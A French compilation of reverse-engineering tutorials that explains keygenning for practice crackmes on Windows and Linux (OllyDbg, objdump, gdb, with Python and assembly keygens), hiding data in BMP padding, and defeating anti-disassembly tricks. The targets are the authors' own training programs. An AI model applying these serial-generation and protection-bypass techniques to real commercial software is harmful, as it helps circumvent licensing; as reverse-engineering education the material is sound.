premiers tutoriels sur le reversing pour n-pn, j’ai décidé d’en rédiger
un sur le keygening.
En quoi consiste un Keygen ?
Je vois sur de plus en plus de forums/sites
de h4xx0r de la morkitu, des programmes qu'ils créent, croyant faire des
keygens, en programmant simplement une fenêtre assez jolie renvoyant un
serial valide pour une application, pris au hasard dans une liste de
serials dans leur programme.
Grosse erreur, le keygening ne consiste pas à
répertorier des clés valides pour les redonner à l'utilisateur (on a
inventé les fichiers texte pour ça :p ).
Cela consiste à comprendre le fonctionnement d'un
programme en fonction de son code (le plus souvent en assembleur) afin
de produire un programme permettant de générer une clé valide en
fonction d'une information propre à chaque utilisateur .
Ici, nous allons étudier le fonctionnement d'un
keygen-me de n-pn (que j'ai moi même codé). Je tiens à préciser que le
but n'est pas de donner la réponse toute faite, mais plutôt d'expliquer
aux débutants comment procéder.
Désassemblage
Bien, tout d'abord, essayons notre keygen me, on
le lance, il nous demande un login, je rentre "fr0g" par habitude, étant
donné que c'est mon pseudo, ensuite, le programme me demande de rentrer
la clé correspondant au login "fr0g",
je tape n'importe quoi, évidemment un message d'erreur apparaît , à moins d'avoir une chance vraiment peu commune.
Ouvrons l’exécutable avec ollydbg, un clic droit sur le cadre en haut à gauche, et search for > all referenced Strings
On le voit dans le code c++ montré plus haut , la
string "tropsimple" est un piège afin d'attirer l'attention d'un
éventuel reverser, ce n'est en aucun cas une chaine intervenant dans
l'algorithme générant la clé, je ne m'attarderai donc pas dessus, il n'y
a rien de plus à dire.
Mais juste au dessus, on peut remarquer la chaine
"ysae_os", on la note dans un coin au cas où (à ce moment-là nous ne
sommes pas censé savoir si elle va nous servir ou pas .
Un peu plus bas on peut voir "Sorry, try" qui est
le début de "Sorry, Try again boy :p", le message d'erreur que le
keygen-me nous à affiché plus tôt.
On double clique sur cette chaine, et on se retrouve dans le code ASM du programme :
Partons à la pêche
Allez, on se lance, plaçons un BreakPoint (touche F2) sur l'instruction :
00401b85 CALL 00442EEC
et on appuie sur F9 pour lancer l’exécution du
programme, on entre notre login ( pour mon cas c'est toujours "fr0g"),
le programme continue sa route, en nous demandant
d'entrer cette fois, la clé correspondante au login que l'on a tapé
juste avant,
pour cette fois, je vais rentrer une dizaine de "A" ,
et là ... notre programme va breaker .
Observons bien le cadre d'en bas à droite (le cadre affichant la pile ):
Je pense que vous avez tous compris, le "fr0g"
correspond au login que j'ai entré, le "AAAAAAAAAA" correspond , lui, au
serial que j'avais entré, et le "4fr0gso_easy" est notre serial, nous
pouvons l'essayer .
Boom !!! on vient d'avancer d'un pas, on à trouvé
la clé correspondant au login "fr0g", dans certains cas les algorithmes
sont forts compliqués (contrairement à ces quelques crackMe pour
débutants ^^ ), ici il n'y a nullement besoin d'analyser le code pour
comprendre, décomposons notre clé :
4 fr0g so_easy
Il suffit d'entrer un ou deux autres logins pour
comprendre que le nombre en début de clé, correspond à la longueur du
login entré par l'utilisateur (en nombre de caractères), quant à la
chaîne "so_easy", on se doute bien que c'est la chaîne "ysae_os" aperçue
plus tôt dans les Referenced strings qui à été renversée.
NOTE :
Evidemment dans un cas réel, il est toujours préférable (pour ne pas dire indispensable) d'analyser le code pour comprendre en détails les étapes de la ou des fonction(s) générant la ou les clés valides, rien ne nous dit qu'au dessus d'un certain nombre de caractères dans le login, la clé se génère toujours de la même façon ...
Bon pour terminer ça on va coder un petit KeyGen
afin de générer des clés valides pour ce keygenMe, pour cela je vais
utiliser Python (3.2).
#!/usr/bin/env python3.2
# -*- coding: latin-1 -*-
##################################
# Author : fr0g
# WebSite : hwc-crew.com // n-pn.info
# Language : Python 3.2
#
# Name : keyGen Example
##################################
#Début de la fonction keygen()
def keygen(_login):
# Déclaration de la variable contenant "so_easy"
login_ext = "so_easy"
# Calcul du nombre de caractères dans le login
# Et stockage de ce nombre dans la variable login_len
login_len = str(len(_login))
# Concaténation des différentes parties de la clé
valid_key = login_len + _login + login_ext
# Renvoi de la clé valide
return valid_key
# Appel de la fonction keygen() sur le login entré par l'utilisateur
print (keygen(str(input("Login > "))))
Petit essai :
Login > AAAAAAAAAA
10AAAAAAAAAAso_easy
Nikel ;) .
Voilà, j'espère que ce mini tuto aura appris aux
plus novices en quoi consiste un keygen, si vous désirez apporter des
améliorations à cet article, libre à vous de mes les soumettre par mail à
fr0g <at> hwc-crew.com ou sur le forum N-PN.info.
Cordialement, la grenouille ...
# Author : fr0g
# OS : windows
# Tools : ollydbg, (Python 3.2 pour le keygen)
> Le padding BMP
Auteur: Luxerails
0x01 - Qu‘est-ce que le padding BMP ?
Pour cacher de l‘information dans une image au
format bmp, on peut utiliser le padding bmp. Tout d‘abord, voyons
comment un bmp est construit (ouvrez par exemple une image bmp avec un
éditeur de texte ou un éditeur hexadécimal).
BM : Header du bmp. Permet de reconnaitre le
format du fichier (chaque format en a un: par exemple, le format PNG
commence toujours par ‰PNG)
Les "..." représentent plusieurs informations
concernant l‘image, notamment sa longueur, ses dimensions, le système
d‘exploitation sous lequel elle a été crée... Ce ne sera d‘aucune
utilité pour notre tuto.
image: L‘image, débutant à l‘octet 54.
L‘image est codée de la façon suivante :
bvr.bvr.bvr.bvr. ...où r, v et b sont les 3 composantes d‘un pixel
(rouge, vert et bleu), et où le . est un octet reservé (inutilisé, et
généralement nul).
À noter que l‘octet reservé apparait que dans un
bmp 32 bits, vu que 32 bits = 4 octets, donc 3 rvb et 1 inutile. Dans
les bmp 24 bits, il n‘y a pas d‘octet reservé, donc un pixel = 3 octets.
Il faut donc savoir que les composantes sont notées à l‘envers (bvr au
lieu de rvb).
Il faut aussi savoir que le bmp écrit les pixels
en partant du bas-gauche de l‘image, et en allant de gauche a droite, en
remontant l‘image de bas en haut.
Par exemple, pour une image :
abc def ghi
jkl mno pqr
stu vwx yz0 (où 3 lettres = un pixel, c‘est donc une image de taille 3px sur 3px)
Le bmp l‘écrira de cette façon :
uts xwv 0zy lkj onm rqp cba fed ihg
(Pour plus de clarté, j‘ai laissé les espaces, mais
il n‘y a pas d‘espaces dans le bmp). Bon, c‘est bien beau mais... le
padding bmp dans tout ça ?!
Le problème dans un bmp, c‘est que il faut
absolument qu‘une ligne dans un bmp soit multiple de quatre. Par
exemple, dans notre exemple de tout à l‘heure :
utsxwv0zylkjonmrqpcbafedihg
Une ligne = 9 octets [=3 pixels], ce qui donne
utsxwv0zy
lkjonmrqp
cbafedihg
Or 9 n‘est pas un multiple de quatre ! Il va donc
falloir rajouter des caractères afin que la "ligne" soit multiple de
quatre. Ainsi, a chaque ligne, nous allons rajouter 3 octets nuls pour
qu‘une ligne fasse douze caractères et douze est un multiple de quatre.
On se retrouve donc avec :
utsxwv0zy...
lkjonmrqp...
cbafedihg...
Soit
utsxwv0zy...lkjonmrqp...cbafedihg...
dans notre bmp.
(les . représentent des octets nuls)
Seulement, qui nous empêche de mettre autre chose que des octets nuls ? Je peux très bien mettre :
utsxwv0zymsglkjonmrqpcaccbafedihghé!
Pour extraire le message caché, je regarde la
longueur de l‘image qui est de neuf, le multiple de quatre qu‘il y a
juste après est douze, donc je coupe tout les douze octets :
utsxwv0zymsg
lkjonmrqpcac
cbafedihghé!
Et je lis les 3 derniers octets de chaque ligne.
0x02 - Avantages et inconvénients
Les avantages de cette technique sont que la
taille du fichier n‘est pas modifié, et que l‘image n‘a pas a été
modifiée non plus (vu que la stéganographie ne se fait pas dans l‘image,
mais dans la structure du bmp).
L‘inconvénient de cette technique est que
l‘information cachée est en clair dans le bmp, et ainsi, par exemple, si
l‘on cache un GIF dans du padding bmp, en sachant que les trois
premières lettres d‘un fichier gif sont... "GIF", on peut peut-être voir
le mot GIF en clair dans le fichier si la taille du padding d‘une ligne
est de trois.
0x03 - Exemple
Essayez de trouver le message caché dans cette image...
> Unix keygenning
Auteur: kallimero
Fermons la fenêtre, préparons-nous, et partons vers la banquise.
Là-bas, pas d'outils graphique, pas de belles images. Uniquement de la console. Encore et toujours.
Bon, maintenant que les fainéants et les pleutres ont disparus, nous allons pouvoir commencer.
Pour suivre ce tutoriel, il vous sera nécessaire de
posséder quelques acquis en programmation ASM. Même si je vais
m'efforcer, au comble du masochisme, de vous décrire point par point
chaque instruction, ces acquis vous permettront de combler mes lacunes
pédagogiques.
Le keygenning ayant déjà été défini dans l'article
sur le keygenning windows, je préfère vous y renvoyer, plutôt que d'en
rédiger une moi-même. D'autant plus que la définition me convient très
bien (et que je suis fainéant).
0x01 - Les outils
Dans ce tutoriel nous utiliserons des outils
basiques, qui font sûrement déjà partie de votre panoplie, puisqu'ils
sont de base installés sur la plupart des distributions GNU/Linux.
Objdump, un desassembleur faisant partie de la
sympathique famille des GNU binutils (qui comprend également as, ld,
strings, strip, readelf, pour ne citer qu'eux). Une suite bien utile
dans sa totalité, pour l'analyse de fichier binaire.
gdb, le Gnu DeBugger,un debugger plutôt complet.
Nasm (ou as) & ld, assembleur & linker, pour
la création du keygen. Ou le langage de programmation de votre choix.
Avant de partir à toute allure dans des travers
techniques et incompréhensibles, pourquoi ne pas lancer le joujou hors
debugger, histoire de voir de quoi il retourne ?
Bon, étant donné la masse d'entre vous qui trouvent mon idée géniale, voyons ce que ça donne :
$ ./KeygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : trolololo
Registration failed.
Évidemment, ça n'a pas marché. Le contraire aurait été vraiment étonnant. Je ne suis donc pas cocu. CQFD.
On a déjà pas mal d'infos utiles:
Le fichier est linké statiquement. Le linker étant
le lien entre le fichier objet et le fichier exécutable. Pour faire
court, le fichier objet est un fichier intermédiaire, utilisé lors de la
compilation. Il contient du code machine non-exécutable, qui nécessite
l'édition des liens (d'où le nom de linker). Quand le linkage est
statique, le fichier exécutable n'est pas lié à une bibliothèque
externe, il est lié tout seul. Quand il est dynamique, il est lié à une
bibliothèque, et ce lien est mis en œuvre au lancement du fichier.
Il est strippé. C'est à dire que toute les entêtes non nécessaires pour le bon déroulement de programme ont été supprimées.
Allez, je ne vous fait pas baver plus longtemps. D'autant que votre salive vous servira pour crier de douleur un peu plus tard.
0x03 - Désassemblons
On est parti pour se pencher sur le code
assembleur. On va commencer par regarder le code gentillement
désassemblé par objdump, afin de comprendre le fonctionnement
intrinsèque et d'isoler la routine de génération du keygen. Le programme
étant linké statiquement, cela ne devrait pas trop nous poser de
soucis.
Petite parenthèse avant de découvrir le magnifique code, sur les syscalls.
De manière schématique, un syscall est un appel au
kernel, pour que celui-ci effectue une certaine tâche, en fonction de
paramètres (arguments). Un syscall à toujours la même structure. Sous
Linux:
Numéro du syscall dans eax
1er argument dans ebx
2nd argument dans ecx
3eme argument dans edx
possible 4, 5, 6... argument(s)
Appel au kernel (kernel interrupt) int $0x80
Le numéro de syscall correspond à la fonction que l'on souhaite effectuer.
Vous retrouverez la correspondance entre fonction et numéro ici : http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, ou dans le fichier /usr/include/asm/unistd.h
/!\ Attention objdump utilise par défaut la
syntaxe AT&T. Si vous préférez la syntaxe intel (utilisée notamment
par nasm et masm), vous pouvez ajouter l'option -M intel.
On utilisera l'option -d pour indiquer le fichier
à désassembler, utilisez l'option -H pour connaître la foultitude
d'options intéressantes d'objdump.
Je vous montre directement l'output commenté par mes soins.
$ objdump -d KeygenMe
keygenMe: file format elf32-i386
Disassembly of section .text:
08048080 <.text>:
; Premier syscall, pour afficher « KeygenMe By kallimero »
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 70 91 04 08 mov $0x8049170,%ecx
804808f: ba 56 00 00 00 mov $0x56,%edx
8048094: cd 80 int $0x80
; Second syscal pour afficher « pseudo : »
8048096: b8 04 00 00 00 mov $0x4,%eax
804809b: bb 01 00 00 00 mov $0x1,%ebx
80480a0: b9 c7 91 04 08 mov $0x80491c7,%ecx
80480a5: ba 09 00 00 00 mov $0x9,%edx
80480aa: cd 80 int $0x80
; 3eme syscall pour enregistrer le pseudo dans une variable
80480ac: b8 03 00 00 00 mov $0x3,%eax
80480b1: bb 00 00 00 00 mov $0x0,%ebx
80480b6: b9 14 92 04 08 mov $0x8049214,%ecx
80480bb: ba 0f 00 00 00 mov $0xf,%edx
80480c0: cd 80 int $0x80
; 4eme syscall pour afficher « serial : »
80480c2: b8 04 00 00 00 mov $0x4,%eax
80480c7: bb 01 00 00 00 mov $0x1,%ebx
80480cc: b9 d1 91 04 08 mov $0x80491d1,%ecx
80480d1: ba 09 00 00 00 mov $0x9,%edx
80480d6: cd 80 int $0x80
; 5eme syscall pour enregistrer le serial dans une variable
80480d8: b8 03 00 00 00 mov $0x3,%eax
80480dd: bb 00 00 00 00 mov $0x0,%ebx
80480e2: b9 34 92 04 08 mov $0x8049234,%ecx
80480e7: ba 0f 00 00 00 mov $0xf,%edx
80480ec: cd 80 int $0x80
; Routine obscure que nous allons élucider
80480ee: b8 14 92 04 08 mov $0x8049214,%eax
80480f3: ba 00 00 00 00 mov $0x0,%edx
80480f8: 42 inc %edx
80480f9: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
80480fd: 75 f9 jne 0x80480f8
80480ff: bb 00 00 00 00 mov $0x0,%ebx
8048104: 81 ea 01 00 00 00 sub $0x1,%edx
804810a: 01 93 14 92 04 08 add %edx,0x8049214(%ebx)
8048110: 43 inc %ebx
8048111: 39 d3 cmp %edx,%ebx
8048113: 75 f5 jne 0x804810a
; Routine de comparaison
8048115: 81 c2 01 00 00 00 add $0x1,%edx
804811b: 89 d1 mov %edx,%ecx
804811d: be 14 92 04 08 mov $0x8049214,%esi
8048122: bf 34 92 04 08 mov $0x8049234,%edi
8048127: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)
8048129: 74 22 je 0x804814d
; Si la comparaison est bonne, au saute à 0x804814d
; Syscall pour afficher le badBoy
804812b: b8 04 00 00 00 mov $0x4,%eax
8048130: bb 01 00 00 00 mov $0x1,%ebx
8048135: b9 fc 91 04 08 mov $0x80491fc,%ecx
804813a: ba 16 00 00 00 mov $0x16,%edx
804813f: cd 80 int $0x80
; Syscall exit
8048141: b8 01 00 00 00 mov $0x1,%eax
8048146: bb 00 00 00 00 mov $0x0,%ebx
804814b: cd 80 int $0x80
; Syscall pour afficher le GoodBoy
804814d: b8 04 00 00 00 mov $0x4,%eax
8048152: bb 01 00 00 00 mov $0x1,%ebx
8048157: b9 db 91 04 08 mov $0x80491db,%ecx
804815c: ba 21 00 00 00 mov $0x21,%edx
8048161: cd 80 int $0x80
; Syscall exit
8048163: b8 01 00 00 00 mov $0x1,%eax
8048168: bb 00 00 00 00 mov $0x0,%ebx
804816d: cd 80 int $0x80
Je ne vous avait pas menti ; le code est principalement composé de syscalls. Ceux utilisés majoritairement sont :
sys_write. 4 dans eax, et 1 dans ebx pour stdout, pour écrire du texte,
sys_read, 4 dans eax, et 0 dans ebx pour stdin, pour lire du texte,
sys_exit, 1 dans eax, et un nombre dans ebx qui
représente le code d'erreur. 0 signifiant qu'il n'y as pas eu d'erreur.
Stdout est le flux de sortie, soit votre écran, et stdin le flux d'entrée, soit votre clavier.
Mêlé entre les vils et rugueux appels au système,
nous pouvons distinguer un sombre morceau de code, qui s'apparenterait à
une routine de génération de mot de passe.
C'est à ce moment que des connaissances en
assembleur sont de mises, car le keygenning, c'est avant tout de longues
nuits à jongler entre documentation et langage d'assemblage, entre café
et aspirine, entre jouissances profondes et crises de nerfs.
Voyons ensemble de plus près la désormais fameuse portion de bouillie asm :
80480ee: b8 14 92 04 08 mov $0x8049214,%eax
; Met le pseudo entrer dans eax (voir le 3eme syscall)
80480f3: ba 00 00 00 00 mov $0x0,%edx
; Met 0 dans edx, sûrement pour un compteur
80480f8: 42 inc %edx
; incrémente ebx (edx = edx +1)
80480f9: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
Compare le byte numéro edx du pseudo avec 0 (byte de fin d'une chaîne)
80480fd: 75 f9 jne 0x80480f8
; Si ce n'est pas un 0, on recommence
;Finalité de cette première partie : eax contient le pseudo, edx contient le nombre de byte du pseudo
80480ff: bb 00 00 00 00 mov $0x0,%ebx
; On met 0 dans ebx, pour un compteur
8048104: 81 ea 01 00 00 00 sub $0x1,%edx
; on décrément edx qui contient la taille du pseudo
804810a: 01 93 14 92 04 08 add %edx,0x8049214(%ebx)
; On ajoute edx au byte numéro ebx du pseudo
8048110: 43 inc %ebx
; on incrémente ebx
8048111: 39 d3 cmp %edx,%ebx
;On compare edx et ebx (donc quand ebx vaut la taille du pseudo)
8048113: 75 f5 jne 0x804810a ; si ebx ne vaut la taille du pseudo, que tout les bytes n'ont été parcourus, on retourne plus haut
Finalité de cette seconde partie : On décale dans la table ascii chaque caractère du pseudo de sa taille totale.
Pourquoi je parle de la table ascii ? Eh bien parce
que tout caractère est représenté par un nombre (l'ordinateur ne
comprenant pas les lettres). La correspondance entre les lettre et les
nombres est réalisée par la table ascii. Donc l'opération à l'adresse
804810a ajoute a la lettre traduite en ascii, le nombre de lettres total
du pseudo, ce qui changera la lettre.
Nous reverrons ça plus tard.
0x04 - Debuggons
Ce terme, assez barbare pour faire rougir mon
correcteur orthographique, mérite un peu d'attention pour les plus
débutant d'entre nous.
Le concept est assez simple ; un debugger permet, à
chaque instant, de voir ce qui ce passe à l'intérieur d'un programme
(état des registres, de la mémoire du programme). Littéralement,
debugger signifie « qui enlève les bugs ». Bien sûr, nous n'aurons pas
cette prétention là. Nous utiliserons le Gnu DeBugger, pour d'autres
fin.
Démarrons donc notre fidèle ami Gdb, toujours là pour nous aider dans notre quête de sérial :
$ gdb keygenMe
Pas besoin de re-désassembler le code ici. Si c'est
votre désir le plus ardent vous pouvez bien évidemment le faire, en
utilisant la commande « disass ». Ici le programme ayant été linké
statiquement, vous ne retrouverez qu'une section, .text, que vous ne
pourrez désassembler qu'en lui indiquant l'adresse de début et celle de
fin. De cette manière :
(gdb) disass 0x08048080 0x0804816d
Ce qui vous renverra à peu de chose près ce que nous avons vu avec objdump.
/!\ Attention, encore une fois, gdb utilise la
syntaxe AT&T, si vous souhaitez qu'il utilise la syntaxe intel, vous
pouvez le lui indiquer avec la commande « set disassembly-flavor intel
».
Nous allons maintenant poser un point d'arrêt –
breakpoint en anglais – Sur la comparaison du serial entré avec celui
attendu.
(gdb) b *0x08048127
Breakpoint 1 at 0x8048127
Pour ceux qui ne le savent pas encore, un breakpoint
permet d'arrêter le programme en cours d'éxecution, afin d'examiner, à
l'instant définis, l' état des registres, des flags, de la stack, etc...
Maintenant lançons le programme avec la commande run (que l'on peut abréger r)
(gdb) r
Starting program: /home/kallimero/Bureau/codes/asm/keygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : trolololo
Breakpoint 1, 0x08048127 in ?? ()
On rentre encore une fois, tel un rituel, des informations bidons.
Mais cette fois, paf !
Pas de chocapic mais un breakpoint. Notre programme est en stand by.
Vérifions l'état des registres, avec la commande « info registers » (que l'on peux abréger i r)
(gdb) i r
eax 0x8049214 134517268
ecx 0xa 10
edx 0xa 10
ebx 0x9 9
esp 0xffffd5d0 0xffffd5d0
ebp 0x0 0x0
esi 0x8049214 134517268
edi 0x8049234 134517300
eip 0x8048127 0x8048127
eflags 0x206 [ PF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
Comme nous l'avons vu plus haut, c'est eax qui
nous intéresse, car c'est lui qui au début contient le pseudo, qui est
ensuite modifié pour obtenir le sérial voulu par le programme.
Tâchons de l'afficher comme une chaîne de caractère, grâce au système de conversion de gdb.
(gdb) x/s $eax
0x8049214: "tjuurvn{x\n"
(gdb)
x/s : convertir hexadécimal en chaîne de caractère (string)
$eax : le registre eax. N'oubliez pas le $
Le serial correspondant au pseudo kallimero serai donc tjuurvn{x. Le \n n'étant pas pris en compte au moment de la comparaison.
Très bien. Testons donc cela (vous pouvez quitter gdb via la commande quit ou q) :
$ ./keygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : tjuurvn{x
Yeah, you win. Serial accepted.
Ah, la douce odeur de la victoire approchante et chantante.
Comme vous avez pus le voir notre ruse et notre
intelligence nous a permis de dénicher un sérial valide.
Mais évidemment, ce n'est pas finis ; sinon toutes
les étapes du début ne nous auraient servis à rien, et vous savez bien
que je ne me serai pas permis de vous faire perdre votre temps.
Il va falloir réaliser un programme capable de générer, pour n'importe quel pseudo, un serial valide.
Afin d'accroître notre compréhension de
l'algorithme, tâchons de déterminer « mathématiquement », le serial
correspondant au magnifique pseudo kallimero.
kallimero a une taille de 9 caractères.
k = 107 | 107 + 9 = 116 = ta = 97 | 97 + 9 = 106 = jl = 108 | 108 + 9 = 117 = ul = 108 | 108 + 9 = 117 = ui = 105 | 105 + 9 = 114 = rm = 109 | 109 + 9 = 118 = ve = 101 | 101 + 9 = 110 = nr = 114 | 114 + 9 = 123 = {o = 111 | 111 + 9 = 120 = x
Ce qui nous donne bien tjuurvn{x
Bien sûr c'est une étape un peu artificielle que
vous pourrez sauter dans le future, mais elle est ici afin de vous faire
comprendre en profondeur le keygenMe présent.
0x05 - Le keygen
Écrire le keygen est normalement plutôt aisé
quand la routine de génération du sérial est bien assimilée. Ce qui est
bien évidemment notre cas.
Je vais personnellement en écrire un en
assembleur, ce qui nous permet de carrément récupérer des bouts du code
désassemblé. mais libre à vous d'utiliser tout autre langage.
;Compilation :
;nasm -f elf keygen.asm
; ld -s -o keygen keygen.o
section .data
hello: db "Type your pseudo : "
ser: db "Your serial : "
section .bss
pseudo: resb 32
section .text
global _start
_start:
;syscall « type your pseudo »
mov eax, 4
mov ebx, 1
mov ecx, hello
mov edx, 19
int 80h
;syscall qui met ce qui est entré dans la variable pseudo
mov eax, 3
mov ebx, 0
mov ecx, pseudo
mov edx, 10
int 80h
mov eax, pseudo ; On met le pseudo dans eax
mov edx, 0 ; edx sert de compteur
; On cherche la taille
boucle:
inc edx ; incrementation d'edx
cmp byte [eax + edx], 0 ; Compare avec le null byte
jne boucle ; Si c'est pas le nullbyte, on retourne en haut
push edx ; On sauvegarde edx en le mettant sur le pile
sub edx, 1 ; on enlève 1 à edx
boucle2:
add dword [pseudo+ebx], edx ; On ajoute edx au byte n°ebx du pseudo
inc ebx ; on incrémente le compteur
cmp ebx, edx ; on compare ebx a la taille totale
jne boucle2 ; SI on a pas encore tout parcouru, on retourne en haut
;syscall « your serial »
mov eax, 4
mov ebx, 1
mov ecx, ser
mov edx, 14
int 80h
;syscall qui affiche le serial
mov eax, 4
mov ebx, 1
mov ecx, pseudo
pop edx
int 80h
; serial exit
mov eax, 1
mov ebx, 0
int 80h
Schématiquement, ce code demande à l'utilisateur
de rentrer un pseudo, puis il détermine la taille de ce pseudo. Et
ajoute à chaque caractère la taille obtenu précédemment. Rien de bien
compliqué, que vous pourrez facilement traduire dans une autre langage.
J'ai essayé de le commenter au maximum.
> Contourner les protections contre le désassemblage
Auteur: aaSSfxxx
Prérequis:
Savoir manier un éditeur hexadécimal, connaître les
instructions assembleur de base, avoir quelques notions en
cracking/reverse-engineering.
0x01 - Introduction
Dans le monde du reverse-engineering,
c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre
cas, on peut trouver des protections différentes, allant du chiffrage du
programme (ou de sa compression) à la détection de débuggeurs (outils
servant à contrôler le flux d'exécution d'un programme, l'arrêter à
certains endroits). Une autre technique, qui sera celle montrée ici est
le fait de rendre les désassembleurs incapables de retrouver le code
assembleur d'un binaire.
Nous allons donc voir ici comment analyser ce
genre de programmes, et comment contourner cette protection à travers un
exemple simple pour commencer.
0x02 - Premier contact avec le programme
Tout d'abord, vous pouvez télécharger le crackme
ici
). Une fois ceci fait, nous allons prendre notre désassembleur favori
(IDA Pro dans mon cas, mais objdump fait aussi l'affaire). Lorsqu'on
essaie de l'exécuter, le crackme nous accueille avec un gentil message
"Essaie encore :þ", ce qui montre que le crackme fonctionne.
Un "file" sur le crackme nous indique qu'il est
stripped, c'est-à-dire que tous les symboles de débuggage ont été
retirés du binaire. Ainsi, le désassembleur va nous diriger sur _start
(le "vrai" point d'entrée du programme, et non main, appelé par _start).
On désassemble donc notre programme, comme on
ferait pour n'importe quel autre crackme. Il va donc falloir retrouver
notre "main", étant donné que le désassembleur n'a pas pu le localiser.
On s'aperçoit qu'il y a un "push offset sub_8048495" avant un "call
__libc_start_main", ce qui nous indique que notre "main" est à l'adresse
0x08048495. Lorsqu'on désassemble ce "main", on s'aperçoit qu'il y a
plein de code qui n'a a priori aucun sens (ou pire dans le cas d'IDA,
une suite de dwords incompréhensibles lorsqu'on est en "Text View").
Nous allons donc voir ici comment pallier ce problème.
0x03 - Analyse statique du binaire
On va ici se servir du désassembleur pour
comprendre comment le processeur arrive à exécuter cette bouillie
d'instructions sans broncher. Tout d'abord, on commence par trouver le
"main" (dans notre cas à 0x08048495). Si vous ne trouvez rien à cette
adresse (mais que les chiffres à la fin sont proches), c'est qu'il y a
déjà des protections contre le désassemblage (et une analyse dynamique
conviendra mieux pour ce cas). Ce n'est pas le cas dans ce crackme.
On va donc analyser les premières instructions du programme:
On aperçoit ici le prologue habituel ("push ebp" et
"mov ebp,esp"), l'initialisation de deux registres puis un saut vers
0x8048516.
Regardons donc cette fonction:
La première chose qui nous frappe, c'est ce "jmp
eax" : on sait que notre programme va aller sauter à la valeur contenue
dans eax. Or, eax est initialisé avec "0x080484A4" qui ressemble
curieusement à une adresse de fonction et qu'on retrouve dans notre
désassemblage (là où le code est devenu incohérent).
Le programme ajoute aussi edx à la valeur d'eax, or edx vaut 2. On a donc, eax = 0x080484A4 + 2.
Ensuite, on met eax dans edx, puis on retranche la
valeur de la "fonction" à edx, qui est du coup égal à 2. On ajoute
encore edx (donc 2) à eax, avant de jmp à la valeur contenue dans eax.
On a donc 4 octets de décalage entre la fonction annoncée et la fonction
"réelle" qui contient n'importe quoi, ce qui embrouille le
désassembleur. On va donc nopper ces 4 octets afin de redonner du sens à
notre code (je supposerai ici que vous savez localiser et éditer des
octets dans un binaire). Sous IDA, il suffira juste de se placer 4
octets après "0x080484A4" et de presser "C", ce qui demandera à IDA
d'analyser et désassembler le code.
Nous avons affaire à une deuxième protection
anti-désassembleur un peu plus loin dans le code, que je vous laisserai
éliminer (le code est plus basique).
Une fois ceci fait, on remarque que le bon serial est "T4pZN355" (avec un peu d'habitude).
0x04 - Avec l'utilisation d'un debuggeur
Je vais proposer ici une autre approche pour
résoudre ce crackme, qui ne nécessite pas d'analyse statique (il faudra
par conséquent "oublier" tous les résultats qu'on a trouvé jusqu'à
maintenant).
On va donc lancer notre crackme avec gdb:
$ gdb ./demo
Le premier problème auquel nous sommes confrontés
sont les symboles supprimés, ce qui nous empêche de poser un breakpoint
sur _start ou sur main. Qu'à cela ne tienne, on va poser un breakpoint
sur __libc_start_main, puis regarder la pile des appels pour revenir à
notre fonction parent.
Cela nous donne quelque chose comme ceci: (à
noter que j'utilise un .gdbrc permettant à gdb de ressembler à softice,
merci à Xylitol pour le script)
gdb $ break __libc_start_main
gdb $ run
Notre programme break donc dans la fonction
__libc_start_main, et comme promis, un coup de "bt" nous permet de
revenir à la fonction appelante, avec ceci:
gdb $ bt
#0 0x4ad8b5c0 in __libc_start_main () from /lib/libc.so.6
#1 0x08048391 in ?? ()
L'adresse qui nous intéresse ici est 0x08048391,
qui est l'adresse de l'instruction appelée juste après le "call
__libc_start_main". On va donc revenir de quelques instructions en
arrière, pour récupérer notre adresse de la fonction "main" (en
diminuant la valeur trouvée, au pif pour moi 0x08048380):
L'adresse qui nous intéresse est le push effectué
juste avant le call, qui est l'adresse de notre main(). On va donc
poser un breakpoint dessus, et continuer notre petit bonhomme de
programme:
Nous sommes ici face à notre prologue habituel,
puis le programme met certaines valeurs dans edx et eax avant
d'effectuer un saut. Malheureusement, après ce saut, les instructions
semblent être devenues incohérentes, et on se dit qu'il y a une
protection anti-désassembleur dans le coin.
On va donc exécuter le code pas à pas jusqu'au saut
(à coup de nexti), afin de regarder plus en détail ce qu'il se passe.
Une fois le saut effectué, on se retrouve face à
ceci:
Le programme effectue des calculs plus ou moins
bizarres avec eax, avant de sauter sur la valeur contenue dans eax. On
va donc poser un breakpoint sur le jmp, continuer l'exécution du
programme et observer la valeur de eax (et ainsi nous épargner de
fastidieux calculs :þ). Lors du break, on voit que eax vaut 080484A8 (ce
qui correspond effectivement au 080484A4 + 4 de la partie précédente).
Un petit coup de nexti nous permet ainsi de sauter sur l'adresse
contenue dans eax, où notre programme a une tête plus sympathique:
0x80484a8: push 0x8048430
0x80484ad: call 0x8048330 ; appel à la fonction printf
0x80484b2: add esp,0x4
0x80484b5: mov eax,DWORD PTR [esp+0x8] ; on récupère le premier argument passé à la fonction (ie argc pour main)
0x80484b9: cmp eax,0x2
0x80484bc: jne 0x80484ff
On voit clairement que notre programme affiche un
message (sûrement de bienvenue), puis récupère le argc pour le comparer
à 2: on peut donc se douter que notre programme attend un argument
(l'argument 1 correspond au nom de l'exécutable lui-même). On va donc
avancer jusqu'au jne, pour voir le code qu'on exécutera pas (étant donné
qu'on a pas passés d'arguments au programme).
Lorsqu'on regarde le désassemblage, on peut voir
cela:
On est clairement face à une deuxième protection
anti-désassembleur. On va donc poser un breakpoint sur le "jmp ebx",
puis relancer notre programme avec un argument (sûrement notre mot de
passe). On va quand-même supprimer nos vieux breakpoints qui vont nous
ralentir, avec "info breakpoint" et "delete id", où id est le numéro
devant le breakpoint.
Relançons donc notre programme avec un argument
(avec "run toto" par exemple), et le programme break comme prévu sur le
"jmp ebx". On fait donc un petit coup de "nexti", et comme par miracle,
on tombe sur un joli strcmp, ce qui est une routine de vérification du
mot de passe:
Regardons donc ce qu'il y a à l'adresse,
0x804848c (avec "x/s 0x804848c"), et on trouve comme par magie
"T4pZN355", qui est le passe de validation.
